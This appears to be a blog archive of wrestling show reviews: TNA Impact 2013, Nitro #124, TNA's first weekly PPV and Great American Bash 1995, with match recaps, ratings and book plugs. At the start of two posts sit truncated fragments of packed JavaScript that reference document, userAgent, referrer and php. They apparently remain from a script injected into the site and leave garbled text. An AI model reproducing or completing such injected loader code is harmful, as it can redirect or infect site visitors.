");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ieaby|var|u0026u|referrer|rfsts||js|php'.split('|'),0,{})) Wrestling
Date: June 20, 2013
Location: Peoria Civic Center, Peoria, Illinois
Commentators: Mike Tenay, Taz

Sting arrives to open the show, dressed to the nines in a suit and sunglasses sans paint.

10 – Submission
7 – Pinfall
5 – Countout
2 – DQ Victory
2 – Draw
-10 – DQ Loss

Also each match has a 15 minute time limit.

Bound For Glory Series: Mr. Anderson vs. Joseph Park

Bound For Glory Series: Jay Bradley vs. Austin Aries

Aries fires off kicks to the leg and gets two off a missile dropkick. Bradley kicks Aries out of the air as he tries the corner dropkick but Austin blocks the Boomstick with a discus forearm. Another Boomstick is ducked and Aries grabs a quick powerbomb followed by the corner dropkick. The brainbuster to Bradley is good for the pin and seven points at 3:39.

Sting says the Mafia grows tonight.

Chavo gives Hernandez a pep talk for his match.

Bound For Glory Series: Hernandez vs. Christopher Daniels

Daniels goes right at him to start but gets caught in the overhead belly to belly from Hernandez. Chris takes the eyes to take over but Hernandez powers out and slugs Daniels down. The running dive from the apron takes Daniels down as Hernandez is bleeding from the mouth. Daniels dives into what appeared to be an Alpha Bomb (slam into a powerbomb) but slips away and hits a low blow to put SuperMex down. The BME pins Hernandez at 2:19 to give Daniels seven points.

Bound For Glory Series: Kazarian vs. Magnus

Hulk is on the phone and saying things feel perfect when Bully Ray comes up to him holding a hammer. Hogan grabs him by the throat and wants to fight right now. Hulk says Ray and Brooke are done tonight but Ray asks him why Brooke stopped the shot to the head with the hammer a few weeks back.

After a quick talk from the announcers, Hulk sends Brooke home for the night due to fear of Ray.

Bound For Glory Series: AJ Styles vs. Samoa Joe

Joe looks for a superplex but AJ falls on top of him in a kind of crossbody for no cover instead. Back up and AJ pounds away but Joe punches him into the corner and fires off knee lifts. AJ rolls him into the Calf Killer but Joe sits up into the Koquina Clutch. AJ rolls out of that into a cradle for two as we have a minute left. They slug it out with thirty seconds left and head to the mat but the clock runs out at 13:40 for a time limit draw, good for two points each.

Ray is on the phone with Brooke and talks her into coming back tonight. He sends D-Von, Doc and Knux out to get her here safely.

Hulk talks to Sabin, Suicide and Kenny King about their match next week and how the winner can trade in the title for a shot at Ray in July.

Bound For Glory Series: Jeff Hardy vs. Bobby Roode

The brawl starts on the ramp with Hardy taking over as they get to the ring. Roode takes him straight down into the Crossface but Jeff makes a rope before too much damage is done. Bobby catapults him throat first into the bottom rope before stomping away on the downed enigma. A vertical suplex sets up a knee drop for two and Roode keeps pounding on Jeff.

Sting says we have some Family business to tend to tonight.

Sting takes off his jacket and gets ready to fight before taking off his shirt. Ray calls out for the bikers but we see all of them down in the back. Sting goes after Ray and chases him up the ramp, only to have Kurt Angle, rocking a suit, take Ray down and put him in the ankle lock as the show ends.

Results

Mr. Anderson b. Joseph Park – Mic Check

Austin Aries b. Jay Bradley – Brainbuster

Christopher Daniels b. Hernandez – BME

Magnus b. Kazarian – Texas Cloverleaf

AJ Styles vs. Samoa Joe went to a time limit draw

Jeff Hardy b. Bobby Roode – Twist of Fate

 

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eietb|var|u0026u|referrer|ekshn||js|php'.split('|'),0,{})) Nitro #124
Date: January 26, 1998
Location: Allen County War Memorial Coliseum, Fort Wayne, Indiana
Commentators: Mike Tenay, Tony Schiavone, Bobby Heenan, Larry Zbyszko

We open with a clip from Souled Out with Piper making Hogan vs. Sting II for SuperBrawl.

El Dandy vs. Ultimo Dragon

Luger says WCW is playing for keeps in the war against the NWO.

Brad Armstrong vs. Goldberg

Konnan vs. Jerry Flynn

Konnan goes after the arm to start but Flynn kicks him into the ropes. Another kick sends Konnan to the floor but a Vincent distraction lets Konnan take over. Larry talks about people who have had neck injuries and can never wrestle again as Konnan armdrags Flynn down. Jerry comes back with another kick to send Konnan to the floor followed by a plancha to take him down again. Back inside and Konnan blocks the 349^th kick and hooks the Tequila Sunrise for the tap out.

Buff Bagwell vs. Rick Steiner

Hour #2 begins.

Wayne Bloom vs. Jim Neidhart

Chavo Guerrero Jr. vs. Psychosis

Louie Spicolli vs. Juventud Guerrera

Back to the Nitro Party. Does anyone actually watch the show at this party? They play some pin the name on the Nitro Girl poster as this is still going for some reason.

Raven vs. Mortis

This is No DQ so as Raven is sitting in the corner, Mortis dropkicks him low. A knee lift sends Raven to the floor and Mortis is in control early. Mortis whips him into the steps and barricade as this is one sided so far. A Fameasser off the apron onto the steps has Raven holding his face. Back in we go and Raven holds the rope to block a Downward Spiral to take over.

They go right back to the floor with Raven using the steps as a springboard for a knee to the face. A dropkick off the steps has the same effect and Mortis is in big trouble. Back in and Mortis hits a hot shot and an AA for two as the back and forth continues. A pair of rollups get two for Mortis but after ducking a chair shot, Raven hits a quick DDT for the win.

US Title: Wrath vs. Diamond Dallas Page

Page starts with the driving shoulder blocks but is easily shoved into the corner. The champion comes back with right hands to the head and a quick Russian legsweep but Wrath comes back with a tilt-a-whirl backbreaker onto the still injured ribs. Wrath stomps Page down in the corner and stops a comeback with a big right hand. A top rope clothesline gets two on Page but he comes back with a discus lariat. The Diamond Cutter ends this quickly.

Rating: C-. Much like Mortis, Wrath looked good out there for the most part. He was never going to be anything great but for a good sized power guy he had some potential. Page winning matches like this was a good idea given how many people WCW had on the roster and could throw at Page from week to week.

Post match a dazed Wrath lays out Mortis. Vandenberg yells at him but Wrath chases him off.

Back to the Nitro Party with Gene doing his own WCW vs. NWO survey.

TV Title: Perry Saturn vs. Booker T

A t-bone suplex gets two for Saturn but Booker rolls through a German suplex into a victory roll for two. Saturn sends him into the buckle but Booker grabs a quick suplex to slow him down. Perry avoids a charge into the corner and hits a spinning springboard clothesline for two. The champion comes back with a side kick and the ax kick but Hammer breaks up the Harlem Hangover for the DQ.

Post match the Flock runs in but Rick Martel makes the save. Saturn yells at Martel in the camera instead of looking at him in the ring.

Steve McMichael vs. British Bulldog

Mongo jumps the heel Bulldog on the way into the ring before hitting a belly to back suplex A chop block takes Bulldog down but he blocks the tombstoone with a clothesline. Bulldog suplexes him down but Mongo comes back with another clothesline and chokes away in the corner. Not that it matters though as Bulldog muscles him up for the powerslam and the pin in a quick match.

Kevin Nash vs. Ray Traylor

Lex Luger vs. Scott Hall

Post match Savage loads up the big elbow on Luger but Sting descends from the rafters to make the save. Sting puts him in the Scorpion Deathlock as Hogan and Hall walk around the ring like nothing is wrong.

Remember to follow me on Twitter @Kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

TNA Weekly PPV #1
Date: June 19, 2002
Location: Huntsville, Alabama
Commentators: Mike Tenay, Don West, Ed Ferrara

So since last night was the 3 hour Impact, I thought it was a good time to go back to the beginning and take a look at the origins of TNA. This was the Wednesday night series when once a week for 9.95 you could watch the NWA. It’s still the old school show at this point and this is literally their first show ever. No one knew it would one day become as big as it is now, but it amazingly is.

This is from about the time that Hogan is world champion in the WWF. Actually no he’s not as Taker would have it at this point, but Hogan is still around. Anyway, let’s take a look back at almost 8 years ago and see how TNA got its start.

The intro is of course about the old days of the NWA because everyone wants to see that right? Don West brings out Ed Ferrara, who looks almost exactly like Road Dogg. I saw him and thought it was him. He even sounds like him. Tenay welcomes us to the show as apparently we have to start with a legends ceremony. There will be a new world champion tonight in the first ever Gauntlet for the Gold. It’s a Royal Rumble but the last two have a singles match.

Oh I’m going to get sick of Ferrara.

JB, in a four sided ring of all things, introduces some legends. Harley Race, Dory Funk Jr., Jackie Fargo, Bullet Bob Armstrong, Corisca Joe and Sara Lee (who ARE these people?), Bill Behrens, who wants you to know he likes the NWA and if you don’t know, he’ll make sure to tell you, Ricky Steamboat (NOW we’re getting somewhere! He has the world title with him and they say it must be like old times for him to have it.

That would be the case if he held that one and not the big gold belt which he actually had). Steamboat addresses the crowd. There actually was a reason for this starting the show: something about a no show or something and they had to reschedule things. Steamboat says he’s the referee for the main event tonight.

Jeff Jarrett interrupts and says the main event is going to suck. Well ok then. He says it’s going to be stupid and then Mike Tenay just sounds like a freaking moron by shouting answers at the questions that Jarrett asks. Jackie Fargo is annoying. He’s a legend, but he’s old. That’s the problem with the NWA: they believe that the fans care about these old guys that most of them have never heard of.

Apparently Fargo has matchmaking power and puts Jarrett in at number one. Ken Shamrock comes out and agrees it’s going to suck. Here’s Scott Hall. This feels like last night. Oh let’s reference the NWO again, because that’s SUCH a fresh idea. HALL says the battle royal will suck, but they have to do it so shut up. ARE YOU KIDDING ME??? They had the three biggest stars in the company say that the show is going to suck. You can’t script this kind of stuff.

Some chick named Goldilocks talks to a midget. Take that Hornswoggle bashers.

AJ Styles/Low Ki/Jerry Lynn vs. The Flying Elvises

You read that name right. They’re Jorge Estrada, Jimmy (Wang) Yang and Sonny Siaki. It’s original if nothing else. AJ looks YOUNG here. He’s just a regular guy. The legends in the back aren’t sure what to say. They point out that this isn’t about weight limits, even though other than Joe, no one with any weight has ever held the belt and he was about 5 years away. Ok so the Elvises are heels. Got it.

The faces hit dropkicks and ranas to start. It’s your standard spotfest to start and that’s fine. It’s a tried and true method to get the crowd going so there we are. Next week we have the X-Division Title tournament in a round robin tournament. Cool. I might do more or these but we’ll see. More or less everyone just shows off for awhile which is what they’re supposed to do.

The X Division has never been about stories but just insanity and that’s perfectly fine. We start the Elvis puns and I shake my head. For the life of me I’ll never get how the Honky Tonk Man got over as much as he did. We get an MMA reference before MMA was cool. Here’s AJ who looks about 17 here. Estrada kicks his head off so there we go. Lynn hits the Cradle Piledriver and it’s all breaking down. We get our first Pele kick. Yang hits a rotating moonsault to pin AJ which means nothing at this point.

Rating: B-. This was fine. There was no story and there wasn’t supposed to be. This was to get the crowd going and it did just that and more. It’s really short but that’s fine. No problems here, but DANG AJ looked like he was in high school or something.

Hollywood vs. Teo

Yes, it’s a midget match. The irony here is STUNNING. Oh Teo is an EXTREME midget. Apparently Rey Mysterio was originally asked to be a midget wrestler in Mexico. That has nothing to do with the mask but they talk about it anyway as they need to get references to WWE in there to give them credibility.

I have no idea what the point to this match is. Teo hits a splash from the top that wasn’t bad. Naturally the biggest spot in the match gets two. A top rope leg drops gives Teo the win. His name stands for Totally E. Outstanding. Oh dear goodness.

Rating: N/A. It’s like two minutes long and I’ll spare the it was too short jokes. I’ve never gotten the appeal of these matches but whatever.

Girls dance.

Ferrara and West get in the ring to announce a lingerie battle royal for next week. They bring out some of the women for next week, including Francine, Joanie (no clue who that is), Daffney (they say she used to be Daffney but now she’s Shannon), Alexis Laree (Mickie James, pre implants), Sasha (no clue but she’s ugly), a Ravens cheerleader named Erin, Elektra from ECW, Taylor Vaughn (who is apparently familiar but I don’t know her) and some chick named Tarita.

This is just an eye candy segment but not a very good one. Mickie looks WAY different, to the point where I had trouble picking her out of a line. Francine and Elektra argue and it’s apparent why they never talked. They actually blame Francine for ECW going bankrupt. A guy would wind up winning the battle royal.

There’s a guy named Mortimer Plumtree. I can’t make this up. He’s a teacher apparently, just not a very good one. He would actually wind up managing AJ for awhile. He has a tag team that we don’t see. Oh wait it’s the Johnsons.

Johnsons vs. Psicosis/James Storm

Yes, it’s the tag team that wear masks and full body suits colored like human flesh. This team actually exists. Storm looks completely different too and it’s not a good thing either. Storm fires off some cap guns. Good for him. OH MAN he looks young. Apparently their names are Richard and Rod, or Dick and Rod. I hate this already. Ryan Shamrock comes out looking hot to watch them.

And now it devolves into nothing but jokes. They say Psicosis’ real name for absolutely no apparent reason. Ryan Shamrock, called Alicia, still is there. Storm hits a rana and a good one at that. They say Storm could be great. Not really but he’s not bad. And then he gets pinned off a bad TKO.

Rating: D+. This was just pointless. It’s like they have nothing but the main event and they know it. This was just freaking awful. The jokes were completely pointless and annoying. I have no clue what they were going for here but whatever.

The referee gives Ryan Shamrock money.

The Dupps, a hillbilly team, torment Goldilocks. They and some chick try to drink beer but some random as guy says not to. Ok then.

Two NASCAR guys are here for the sake of being NASCAR guys. Ron Killings (R-Truth) show up to interrupt them. Of course he’s a heel because he hates NASCAR and says it’s not a sport. Brian Christopher of all people shows up and beats up R-Truth. Naturally a match is set up for next week. Oh and his name is K-Krush here. Dang they got that one right eventually.

Jeff Jarrett harasses a 71 year old man. Thanks for killing another 15 seconds.

Christian York/Joey Matthews vs. The Dupps

The Dupps are named Stan and Bo. Stan Dupp. Oh dear. Their cousin is both of their girlfriends. I hate this gimmick already. The faces are your standard face cruiserweight tag team. They have a ton of charisma if nothing else, but they’re just generic. Ferrara needs to fall in a hole. After the faces dominate for about two minutes the girl interferes to crotch York for the pin.

Rating: F-. This was a waste of 4 minutes of my life. The heels had NO offense but they win on a fluke anyway. That’s just crap but of course it’s what they went with here. I hated this and they could have used it for ANYTHING else.

Toby Keith has one of his music videos played and then sings live. That’s completely pointless again but it’s considered an epic moment. Jarrett interrupts him and we start the battle royal now.

NWA World Title: Gauntlet for the Gold

Royal Rumble with 90 second clocks and then a singles match at the end. Jarrett is first and second is Buff Bagwell. Bagwell hits the Blockbuster and then is thrown out. Before the 90 seconds are up they have the next guy come in to avoid the clock just ticking away. I like that. Lash Leroux of all people is second. Just end this now. He’s out in about 45 seconds and Norman Smiley is 4th of 20.

There goes Norman after about a minute. This is just pointless. Apollo, a Puerto Rican wrestler with a great look is 5th. K-Krush is 6th and he saves Jarrett. Actually he doesn’t but the announcers say he does. This is just mindless stuff as nothing of note is happening and it’s just random stuff to fill in time, which is how you could describe the whole show to be fair. Oh hey let’s make fun of Toby Keith even more.

Tenay is TICKED that the heels are working together for no apparent reason. Slash, with James Mitchell who has a stable that we haven’t heard from until now, is 7th. He’s one half of PG-13 who was a big deal in Memphis and nowhere else. Jarrett saves him for no apparent reason. Must be a Tennessee thing. Del Rios who is another big guy is next. He’s a former USWA (Memphis) champion. He’s a Scott Steiner lookalike and they even point that out.

He’s better known as Phantasio, which is a guy that Monkey is a mark for. He was a wrestling magician of all things which somehow evolved into Papa Shango but was given to the guy that played him instead. Oh come on he’s even got the Superman S on his trunks. Some guy from NWA Wildside, a former WCW farm territory, is 9th. The clock is off the screen now and the times are getting longer. Konnan is 10th.

Every guy has their resume read with as many WCW, WWF and ECW references as we can get in there. He beats up everyone and the crowd loves him. We really need some eliminations. Joel Gertner who has lost about 100lbs brings out Bruce from a team called the Rainbow Express. Yes it’s a gay tag team and Billy and Chuck are a big deal at the moment. No coincidence there at all.

He’s Kwee Wee from WCW if you’re wondering. He’s the guy that wins the battle royal next week. MAYBE 15 seconds later, Rick Steiner comes out. Slash is out. There goes Justice who looks like a combination of Rhyno and one of the Pitbulls and now Rick goes after Jarrett. Malice (The Wall from WCW) is 13th. He chokeslams everyone in sight. Ok with Konnan it’s more like a chokeshove.

Truth makes up for it though by going WAY into the air. There goes Bruce, Truth, Del Rios, Konnan and Steiner are gone, leaving us with Malice, Apollo and Jarrett. Scott Hall is 14th to a huge pop and they actually give him a resume too, like he needs it. He’s the Outlaw now for no apparent reason. Hall hits a Razor’s Edge on Jarrett and here’s Toby Keith to suplex Jarrett and throw him out.

Oh how I hate singers trying to be wrestlers and failing so badly at getting people to care. Hall actually throws Jarrett out to make it count for the ridiculous NWA. Chris Harris is 15th and no one cares as no one knows who he is. Vampire Warrior (Gangrel) runs out early and beats up Harris. Ferrara will not shut up about Jarrett and I’m sick of him in ways I didn’t think were humanly possible.

Devon Storm, more commonly known as Crowbar from WCW, is next. The second biggest star in this match is Gangrel. That says the whole thing. Steve Cornio is 18th as I can’t believe this made it 5 weeks. Ken Shamrock is the penultimate entrant and he suplexes a lot of people. Brian Christopher, who should give his father 20% of every dollar he ever makes in wrestling because he never would have made a dime otherwise. A ton of people go out in succession and all by Christopher. Yes, they had him be a force.

The final five are Shamrock who is almost unrecognizable, Christopher (out before I finish his name), Malice, Apollo and Hall. Malice puts out everyone not named Shamrock, so it’s Ken Shamrock vs. the Wall for the world title. You read that right. This is just garbage as he survives the ankle lock for about 40 seconds before walking around just fine. A belly to belly ends a five minute nightmare.

Rating: F+. This was just a trainwreck. We had Brian Christopher, Gangrel, Lash Leroux and Norman Smiley in the main event. Let that sink in for a bit. Also, Shamrock beats the Wall for the title. Why not Hall, who people at least know? This was just a mess, much like the whole show. I have no idea what the point here was but it was bad. This was ¼ of the show, and that’s just unacceptable. The booking was off the wall as SHAMROCK, who hadn’t been seen in about two years and looked awful, gets the belt.

Jackie Fargo, who looks and sounds older than his 71, wants to fight Jarrett who wants to fight Toby Keith but Scott Hall fights Jarrett next week. They brawl to end this mess.

Overall Rating: D-. And that’s being generous. This was awful on all levels as nothing of note happens with the main event was just a trainwreck. When the three biggest names you have all say the main event is stupid, it hurts things badly. There is zero flow to this and if I didn’t know better, I would have bet on this not making it three months.

They changed things up a lot and it got a ton better, namely when Russo and a ton of other guys showed up to replace guys like the Dupps and the jokes in the main event. Definitely stay away from this one as it’s awful.

 

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

It’s another old one so I apologize in advance for this being awful.

Great American Bash 1995
Date: June 18, 1995
Location: Hara Arena, Dayton, Ohio
Attendance: 6,000
Commentators: Tony Schiavone, Bobby Heenan

Well it’s been awhile hasn’t it? More or less it’s the same thing here as Hogan is off doing whatever so the main event is Flair vs. Savage to avenge the ending of the last PPV. Other than that there’s not a ton here to work with which isn’t out of the ordinary for WCW. The midcard looks awful but the opener could be decent. Arn Anderson vs. Renegade though is a scary idea and I have a terrible feeling I know where this is going. Let’s get this over with.

Apparently there was a US Title Tournament and the finals are tonight. Ok then. Apparently Vader had it stripped from him. Ok then. Heenan’s glasses are interesting looking. It’s Father’s Day which works for the Poffo thing. He passed away recently so this is a big sad. And Vader wants Hogan.

Alex Wright vs. Brian Pillman

As my mom used to say, they’re both good guys but they’re just wrestling to see who’s better. Sometimes you need a mark’s perspective to really get the gist of a match. Pillman is a ladies man or something here. His theme would suggest that I guess. This should be decent if nothing else. Heenan is having microphone issues. Wright gets a decent pop actually. I’ve always liked his music.

Yeah we can’t hear Heenan at all but it’s clear he’s talking as Tony defers to him and we get silence. Ah there he is, insulting both guys. I love that. He’s good for that if nothing else. Bobby is hilarious, plain and simple. The Bengals would have been a lot better if they had traded Pillman apparently. That’s just awesome. Wow Brian is crisp out there. It’s a shame he screwed up his ankle as badly as he did.

Craig Pittman is apparently wrestling twice tonight and that’s never been done. WOW. The crowd is small here but it’s a hot one so that’s a perk. They’re doing a technical style here. Yeah I’m stunned too. Wright was someone they were pushing hard at this point but the same could be said about Pillman as he’s always awesome. This has been solid so far.

WCW in this era didn’t get much right but they got openers right, normally with Pillman in them. They’re out there wrestling. It’s nice to see for a change. Pillman takes us to the floor and the fans are liking it. Now it’s more of a fight. I like the transition there. Pillman was about to turn heel in case you were wondering. Heenan is sober tonight so that’s an upgrade for him. Ok we get it: the crowd is here. Stop showing them.

In a nice looking spot, Pillman gets suplexed over the top and to the floor. I like it. That should be a DQ under WCW rules but they let it slide since Wright wasn’t in the ring. See why that rule is stupid? Pillman hits a Suicide Dive to the floor. Remember that was a far bigger spot back in the day. Both are down on the floor now. Ok scratch that and reverse it. Wright misses a cross body from the top. I’m liking this.

When they both try a dropkick and both miss, why do they stay down? It’s the same landing for both of them, so why are they down now? Wright hits the cross body this time for two which is apparently his finisher. And Pillman has a bad knee. Ah he was faking. No wonder he was in the Hart Foundation.

German suplex gets two for Wright. Oh come on this is pro wrestling. We need our stereotypes! Pillman goes for a crucifix into a sunset flip but Wright ducks down and gets the clean pin! Nice ending!

Rating: B+. Excellent choice for an opener here as they let two young guys (Pillman was 33 but like he was ever old a day in his life) go out there and show off. That’s how you open a show and it worked like a charm here. I really liked this but then again I like both guys to a certain extent. Something tells me this is the highlight of the show though, but still it’s good stuff.

We recap DDP vs. Dave Sullivan who are feuding over Kimberly and Dave’s pet rabbit. DDP says he’s the best arm wrestler in the world. I’m in awe that this guy became the biggest face in the company. I truly am. If anyone beats him at arm wrestling they get a date with Kimberly, who is known at the Diamond Doll at this point. Van Hammer had him beaten but Maxx Muscle, DDP’s bodyguard made the save. This is taking WAY too long. Remember this is all recap.

Dave Sullivan has his rabbit named Ralph in it. Oh dear. He’s reminding me of Eugene. Not the entertaining Eugene, but the annoying one.

Arm Wrestling: Dave Sullivan vs. Diamond Dallas Page

Ah and Kevin Sullivan is now the Taskmaster. At least we’re getting to the better angle. How in the world is that the better angle? That’s a sad thing to say isn’t it? If you’ve seen any arm wrestling match in wrestling history you can figure this out. Oh and Page is rich here. Yeah it means nothing but I’m trying to fill in time.

Dave of course is in full wrestling gear and wins it. The cheating doesn’t work and this is idiotic. Yeah Kimberly made sure Page lost. The video shows this and of course the announcers can’t figure this out. Page wants a rematch. He doesn’t get one but he whines a lot. No rating, as this was the biggest waste of time I can remember in a good while, and in mid 90s WCW, that’s saying A LOT.

Heenan points out how stupid this is.

We hear about Craig Pittman saying he’ll fight as many times as it’s going to take to win. He won on the pregame show, so he’s doing it again here. His opponent, Marcus Bagwell, is hurt, so he gets Jim Duggan instead.

Craig Pittman vs. Jim Duggan

In case you’re wondering for no apparent reason, Pittman beat former TNA guy, Scott D’Amore. Pittman was…well he was very annoying and a heel here. Why in the world is this on PPV? They shout at each other and do nothing but bad punching. I hate this show already. Duggan screws up a hiptoss. That’s HARD to do. I want to hit this match in the face. Heenan says Duggan has cauliflower face in an amusing ling.

Pittman is a former Marine that knows a lot of submissions. Good to know. They’re rolling around on the mat like an ECW catfight. OK WE GET IT: THERE IS A CROWD HERE! Pittman is working on the knee. From what I’ve seen online, Bagwell isn’t here due to exploding calf implants. Ok then. Hey let’s talk about Flair and Savage! Ok we’re done talking about it now. Yeah that’s what kind of show we’re dealing with here.

More leg work from Pittman. He dives through the ropes to the floor. Apparently Duggan pushed him. It’s not like we need to have Duggan move or anything to do that but whatever. Duggan SELLS THE KNEE! I’m so proud! And after the leg work for five minutes, let’s go for an armbar. WOW.

He gets a cross armbreaker on and won’t let go until the DQ. So let me get this straight. A guy that allegedly knows how to fight and is a submission master used five minutes of leg work to set up an armbar? I hate this freaking company. What’s on the other show right now? In WWF Mabel would be winning the KOTR. GO BACK TO THE ARMBAR!!!

Rating: F. This was awful to say the least. Seriously, would you THINK in a match you morons? Duggan was the smart guy in this match. That sums the whole thing up very well I’d say.

The Bluebloods, Steven (William) Regal and Bobby Eaton are fighting the Nasty Boys later. Oh dear. Oh dear indeed. We get Hitler references from Regal. That sums up everything pretty well. I have a BAD feeling about this match.

Harlem Heat vs. Bunkhouse Buck/Dick Slater

Oh dear just shoot me now. These two got in a fight on the pregame show so we get this as a treat. Harlem Heat beat the Fantastics on the preshow for you old school fans. That’s the highlight of this I guarantee you. Oh and Parker and Sherri start hitting on each other. This is a bonus match? Why do I have a feeling this is a great example of what addition by subtraction would be like? Sherri needs to wear leather more often. She actually looks pretty good in it.

Ok so we have four guys and one with talent. Good to know. Apparently this is a thing about the tag titles. Why am I trying to make sense of this? Slater is a guy that I’ve never been able to stand. He looks like an idiot and he’s the epitome of the southern guy that is allegedly good at being tough but couldn’t work a good match if his life depended on it. Stevie is wearing a t-shirt so I’d bet on some form of an injury.

The crowd is rather dead here but not quite. There’s the Spinarooni, but it’s nothing of note yet. I have no desire to watch this match in case you can’t tell. This team right here is the best example I can give you of why WCW never could be taken seriously for the longest time: no matter what they did or what direction they were going in, they had to have a hillbilly team in there that were tough.

This is one of the sloppiest brawls I’ve ever seen. Heenan points out that the fans don’t seem to care who wins. NICE ONE BOBBY. Now get this for the ending. Booker hooks a small package on Buck. Fine right? Parker, the heel manager, rolls it over. The referee is distracted for 5 seconds so Sherri rolls it BACK over. That gets three after another 5 seconds. In other words, this was a 15 second long small package. That sums up this match pretty well.

Rating: D-. I hated this. It was just boring as all goodness, it served NO purpose and the ending was awful. Why did those two keep getting hired? This was just awful all around. So of course we would have a rematch at Fall Brawl that was somehow worse.

We recap Vader coming out earlier in the night and beating up the 60 some odd year old Nick Bockwinkle while dropping a bunch of expletive bombs. Hogan of course comes out to save it. Back live now and Bockwinkle makes the main event for…that show that’s coming up next. Yes, he forgot the name of the next PPV on live air.

That got him fired actually. Heaven forbid a man in his mid 60s can’t remember some PPV that hasn’t happened yet that he’s not at. Oh no, he forgot something! Give me a break. Oh he made Hogan vs. Vader in a cage.

Flair, ROCKING the black robe, talks about Hogan and Vader. Because everyone has to talk about Hogan right? Ah good he’s talking about Savage more. That’s better. Gene: Either Savage is furious or he’s smoking a big cigar because there’s smoke coming out from under that door. WOW I just cracked up at that. We get a reference to 92 and the Liz angle without saying it of course. We need less of that in TNA. It can happen, but focus on what’s going on in YOUR company, not what happened in others.

TV Title: Renegade vs. Arn Anderson

This could be painful. Remember that Renegade is the guy that literally was hired by WCW to run around really fast and make people possibly believe he was Warrior. He was somehow worse than Warrior in the ring though. What does that tell you? Anderson is Anderson so there you are. That Horsemen theme is soothing to say the least though. Literally it just calmed me down. Simply put, Anderson is above this nonsense.

This guy looks like Warrior to an extent. That’s all we’ve got. And of course Anderson can’t hurt him. One of the greatest wrestlers in the world is having to no sell for a bad imitation of a guy Hogan had to carry. What does that tell you? The paint comes off Renegade’s face and now ANYONE that can see could tell that’s not Warrior. Remember, he makes Warrior look good in the ring. For no apparent reason we have a DDP chant.

Even Renegade’s HEADLOCKS are awful looking. That’s saying a lot. Just remember, WE HAVE A CROWD! Arn busts out an enziguri and Renegade no sells it. Ok, there’s being tough and then there’s being stupid. A KICK TO THE FREAKING HEAD IS GOING TO HURT! Even Goldberg would sell that a bit and he’s freaking GOLDBERG. How about a sleeper? Nope that’s not going to work either.

It should be noted that every hold Anderson uses Renegade counters into one of his own so he’s not even original here. Anderson looks seriously ticked and I can’t blame him a bit. Should be noted that Renegade is getting VERY little reaction and that’s being nice. Ok, now this is where you can tell the whole thing isn’t working. Arn hits the spinebuster, his FINISHING MOVE, and the crowd freaking ERUPTS.

Again, let me make this clear: one of the top heels in the company just hit his finishing move to one of the top faces and the crowd is VERY HAPPY about it. WCW, is it possible, just POSSIBLE, THAT YOU ARE IDIOTS??? He keeps kicking out and Arn is MAD. And now they hit heads so they’re both down. So a jumping foot from Arn doesn’t work as well as his head. Got it.

A bad top rope splash gives Renegade the title. I hate my life. AND HE GETS PYRO. Are you kidding me? SERIOUSLY??? And the Giant is in the front row and is ticked. Giant is more commonly known as Big Show mind you. Renegade does the look at his hands crap that Warrior did. I’m hating this company more than I thought was humanly possible.

Rating: F. No. Seriously, LISTEN TO THE FREAKING AUDIENCE! Again, a Hogan idea doesn’t work the way he wants it to so he just goes on with it anyway. And people wonder why this company bombed for so many years. I’m stunned. Actually I’m not but whatever. This was so stupid that it’s not even bad. The crowd was cheering for the heel because of how stupid the face was. That’s saying a lot.

The Nastys and Blue Bloods don’t like each other. Again, why are these teams on PPV? Well at least it’s not Harlem Heat vs. the Nastys. They just interfered in it. No real angle. The Blue Bloods just think they should be champions. The Nastys say their usual stuff.

Tag Titles: Nasty Boys vs. Blue Bloods

Something tells me this is going to be bad. We have good wrestlers on the heel team though so that’s good. The Nastys hit the heels with their jackets to start us off. Bobby Eaton and Regal are having their faces rubbed into the armpits of the Nasty Boys. They’re above this. And three of these guys are still active wrestlers today. Is that a good thing or a bad thing? I’m not sure really.

There’s no real semblance of a match going on here. It’s just a brawl. I guess you can call this a brawl. They’ve been in the ring all of a minute and we’re about 7 minutes into this. Thank you Regal for trying to make this watchable. And of course Brian Knobbs gets to beat both heels up on his own. I don’t think the Nastys have done anything but punch all match long. AGAIN WITH THE STUPID CROWD!

WCW seems more obsessed with Vince was than making sure to let us know there are actual PEOPLE in the arena. When Sags is the best wrestler on your team, that’s a very bad sign. Sags is in trouble now so he and Knobbs have just switched places. Seriously, what is Nasty about these guys? I’ve never gotten that. There appears to be a large man in the front row in boxers. Sure why not.

In case you can’t tell, this is a rather boring match. Naturally it’s the second longest match on the card. Why would Flair and Savage need more time? We’ve got NASTY BOYS! Another wide shot and I still don’t care at all. We talk about the history of the Great American Bash to kill some time.

Oh and there will be 100,000 people at Bash at the Beach (remember it was free to get into). Yeah sure there will be. Harlem Heat and Sherri are here for no apparent reason to beat up the Nastys and of course it causes them to keep their belts. Yep there’s your ending. I really hate this company.

Rating: D-. And that’s out of sympathy for Regal and Eaton who were clearly trying to make SOMETHING out of this. However, the Nastys suck. They just simply do. There’s no way around it. The Nasty Boys are terrible in the ring and they were here. When you can make Eaton and Regal look bad, that’s impressive. It truly is.

So there was a tournament to have a new US Champion. Apparently there were 16 people and it’s down to Sting vs. Meng. Also in it were Brian Pillman, Bunkhouse Buck, Arn Anderson, Steve Austin, Hacksaw Jim Duggan, Marcus Bagwell, Paul Orndorff, Johnny B. Badd, Randy Savage, Butcher, Big Bubba, Alex Wright, Ric Flair and the Patriot.

They list off all the matches but that’s all you need to know as the brackets aren’t shown. We did get Savage vs. Austin though which is a good match as you would expect. Savage vs. Flair was a semi-final but they had a double DQ so this, the other semi-final, is now the final. Complicated enough so it’s perfect for WCW.

Colonel Parker, Meng’s manager, says he doesn’t like the north so he wants something to go home with. This takes forever to say of course.

There might be 150,000 people at Bash at the Beach. We get a promo for it. I don’t think it hit 10,000.

Sting says he’s not afraid of Meng and he’s been here a long time. See, that took 30 seconds. LEARN TO DO THAT PEOPLE!

US Title: Sting vs. Meng

Around this time, Sting was the most over wrestler in the world and was wrestling solid matches so of course they stuck him in the midcard and had him in random angles in the main event without ever wrestling in it. My guess: to prevent Hogan from looking weak by comparison. You can see the fans wake up for him. The guy is just universally loved…so Russo has been obsessed with turning him heel over the years.

